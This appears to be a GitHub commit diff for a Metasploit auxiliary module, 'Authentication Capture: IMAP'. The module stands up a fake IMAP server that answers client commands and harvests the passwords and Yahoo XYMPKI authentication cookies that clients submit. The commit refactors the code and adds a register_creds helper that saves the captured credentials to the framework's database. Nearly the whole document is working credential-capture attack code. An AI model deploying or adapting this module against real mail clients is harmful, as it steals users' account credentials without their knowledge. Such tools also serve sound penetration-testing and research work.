6
6
7
7
require 'msf/core'
8
8
9
-
10
9
class Metasploit3 < Msf ::Auxiliary
11
10
12
11
include Msf ::Exploit ::Remote ::TcpServer
13
12
include Msf ::Auxiliary ::Report
14
13
15
-
16
14
def initialize
17
15
super (
18
16
'Name' => 'Authentication Capture: IMAP' ,
@@ -56,50 +54,38 @@ def on_client_connect(c)
56
54
57
55
def on_client_data ( c )
58
56
data = c . get_once
59
- return if not data
60
- num , cmd , arg = data . strip . split ( /\s +/ , 3 )
57
+ return unless data
58
+ num , cmd , arg = data . strip . split ( /\s +/ , 3 )
61
59
arg ||= ""
62
60
63
- if ( cmd . upcase == " CAPABILITY" )
61
+ if cmd . upcase == ' CAPABILITY'
64
62
c . put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
65
63
"MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " +
66
64
"QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " +
67
65
"AUTH=XYMPKI AUTH=XYMECOOKIE ID\r \n "
68
66
c . put "#{ num } OK CAPABILITY completed.\r \n "
69
67
end
70
68
71
- if ( cmd . upcase == "AUTHENTICATE" and arg . upcase == "XYMPKI" )
69
+ # Handle attempt to authenticate using Yahoo's magic cookie
70
+ # Used by iPhones and Zimbra
71
+ if cmd . upcase == 'AUTHENTICATE' && arg . upcase == 'XYMPKI'
72
72
c . put "+ \r \n "
73
73
cookie1 = c . get_once
74
74
c . put "+ \r \n "
75
75
cookie2 = c . get_once
76
- report_auth_info (
77
- :host => @state [ c ] [ :ip ] ,
78
- :sname => 'imap-yahoo' ,
79
- :port => datastore [ 'SRVPORT' ] ,
80
- :source_type => "captured" ,
81
- :user => cookie1 ,
82
- :pass => cookie2
83
- )
76
+ register_creds ( @state [ c ] [ :ip ] , cookie1 , cookie2 , 'imap-yahoo' )
84
77
return
85
78
end
86
79
87
- if ( cmd . upcase == " LOGIN" )
80
+ if cmd . upcase == ' LOGIN'
88
81
@state [ c ] [ :user ] , @state [ c ] [ :pass ] = arg . split ( /\s +/ , 2 )
89
82
90
- report_auth_info (
91
- :host => @state [ c ] [ :ip ] ,
92
- :port => datastore [ 'SRVPORT' ] ,
93
- :sname => 'imap' ,
94
- :user => @state [ c ] [ :user ] ,
95
- :pass => @state [ c ] [ :pass ] ,
96
- :active => true
97
- )
83
+ register_creds ( @state [ c ] [ :ip ] , @state [ c ] [ :user ] , @state [ c ] [ :pass ] , 'imap' )
98
84
print_status ( "IMAP LOGIN #{ @state [ c ] [ :name ] } #{ @state [ c ] [ :user ] } / #{ @state [ c ] [ :pass ] } " )
99
85
return
100
86
end
101
87
102
- if ( cmd . upcase == " LOGOUT" )
88
+ if cmd . upcase == ' LOGOUT'
103
89
c . put ( "* BYE IMAP4rev1 Server logging out\r \n " )
104
90
c . put ( "#{ num } OK LOGOUT completed\r \n " )
105
91
return
@@ -108,12 +94,43 @@ def on_client_data(c)
108
94
@state [ c ] [ :pass ] = data . strip
109
95
c . put "#{ num } NO LOGIN FAILURE\r \n "
110
96
return
111
-
112
97
end
113
98
114
99
def on_client_close ( c )
115
100
@state . delete ( c )
116
101
end
117
102
118
-
103
+ def register_creds ( client_ip , user , pass , service_name )
104
+ # Build service information
105
+ service_data = {
106
+ address : client_ip ,
107
+ port : datastore [ 'SRVPORT' ] ,
108
+ service_name : service_name ,
109
+ protocol : 'tcp' ,
110
+ workspace_id : myworkspace_id
111
+ }
112
+
113
+ # Build credential information
114
+ credential_data = {
115
+ origin_type : :service ,
116
+ module_fullname : self . fullname ,
117
+ private_data : pass ,
118
+ private_type : :password ,
119
+ username : user ,
120
+ workspace_id : myworkspace_id
121
+ }
122
+
123
+ credential_data . merge! ( service_data )
124
+ credential_core = create_credential ( credential_data )
125
+
126
+ # Assemble the options hash for creating the Metasploit::Credential::Login object
127
+ login_data = {
128
+ core : credential_core ,
129
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
130
+ workspace_id : myworkspace_id
131
+ }
132
+
133
+ login_data . merge! ( service_data )
134
+ create_credential_login ( login_data )
135
+ end
119
136
end
0 commit comments